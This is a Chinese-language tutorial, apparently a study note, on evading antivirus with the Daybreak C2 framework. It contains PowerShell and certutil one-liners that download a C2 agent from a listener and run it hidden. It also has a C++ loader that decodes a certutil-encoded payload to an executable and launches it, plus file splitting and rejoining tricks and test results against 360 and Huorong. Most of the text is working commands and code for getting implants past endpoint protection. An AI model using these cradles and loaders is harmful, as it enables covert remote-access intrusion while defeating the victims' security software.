免杀学习-从指令绕过开始(1)
字数 985 2025-08-20 18:17:00
免杀学习-从指令绕过开始(1) 教学文档
1. 破晓工具简介
破晓(Daybreak)是一个类似Cobalt Strike(CS)的C2框架工具,具有以下特点:
- 采用Web界面控制,简洁美观且自带中文支持
- 集成多种操作系统上线功能(相比CS需要插件支持Linux上线)
- 支持通过PowerShell和Certutil指令进行上线操作
2. 基础上线命令分析
2.1 PowerShell上线命令
powershell.exe -ExecutionPolicy bypass -noprofile -windowstyle hidden (new-object system.net.webclient).downloadfile('http://127.0.0.1:1338/d/pzxsnoqd','pzxsnoqd.exe') && pzxsnoqd.exe agent -u http://127.0.0.1:1338 -s e75tdmwe
2.2 Certutil上线命令
certutil -urlcache -gmt -split -f http://127.0.0.1:1338/d/pzxsnoqd pzxsnoqd.exe && pzxsnoqd.exe agent -u http://127.0.0.1:1338 -s e75tdmwe
注意:破晓的上线操作需要利用探针参数(如示例中的e75tdmwe)
3. 初步测试结果
3.1 360环境下测试
- 静态免杀通过
- 上线尝试被阻止
3.2 火绒环境下测试
- 静态云查杀通过
- 上线尝试被阻止
3.3 文件分析结果
- VirusTotal检测结果良好
- VirScan检测结果良好
4. 进阶免杀技术:Certutil加解密
4.1 加密方法
Certutil -encode C+Powershell.exe out.txt
4.2 C语言解密执行代码
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
#include <iostream>
#include <fstream>
using namespace std;
int main()
{
char automobie[50];
ofstream outfile;
// 将解密的内容写入一个文件中
outfile.open("encryption.txt");
outfile.setf(ios_base::showpoint);
outfile << "-----BEGIN CERTIFICATE-----\n"
// C2文件加密的内容
"-----END CERTIFICATE-----\n"
<< endl;
outfile.close();
// 进行解密
system("Certutil -decode encryption.txt test.exe");
// 确保上述代码运行完成
Sleep(5000);
system("test.exe C2执行参数");
return 0;
}
4.3 测试结果
- 火绒环境:成功产生解密文件和木马文件,但运行时出现告警
- 360环境:成功上线,快速查杀未检测到
5. 高级技巧
5.1 文件切割与缝合(解决大文件问题)
- 使用Certutil加密生成大文本文件
- 使用文本切割器(如https://uutool.cn/txt-incise/)按500行一份切割
- 使用COPY命令缝合文件:
copy 1.txt+2.txt+...+n.txt out.txt
- 解密缝合后的文件:
certutil -decode out.txt test.exe
5.2 Windows文件执行冷知识
Windows命令行执行命令时判断的是文件头而非文件后缀,因此:
- 可以将exe文件后缀改为jpg等格式仍可执行
- 但不能直接在C代码中修改后缀后执行(会失败)
测试代码:
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
#include <iostream>
#include <fstream>
using namespace std;
int main()
{
char automobie[50];
ofstream outfile;
outfile.open("encryption.txt");
outfile.setf(ios_base::showpoint);
outfile << "-----BEGIN CERTIFICATE-----\n"
"-----END CERTIFICATE-----\n"
<< endl;
outfile.close();
return 0;
}
6. 关键注意事项
- 破晓工具需要正确的探针参数才能成功上线
- 不同杀毒软件对相同技术的检测结果可能不同(如360和火绒的差异)
- 大文件处理时需要考虑切割和缝合技术
- Windows执行文件时关注的是文件内容而非后缀名
- 直接在代码中修改文件后缀并执行可能失败,需通过命令行操作
7. 总结
本教学文档介绍了从基础到进阶的免杀技术,重点包括:
- 破晓C2工具的基本使用
- PowerShell和Certutil的上线方法
- 利用Certutil加解密的免杀技术
- 文件切割缝合的高级技巧
- Windows文件执行的冷知识
这些技术在实际渗透测试中可有效绕过部分杀毒软件的检测,但需注意不同环境下的表现差异。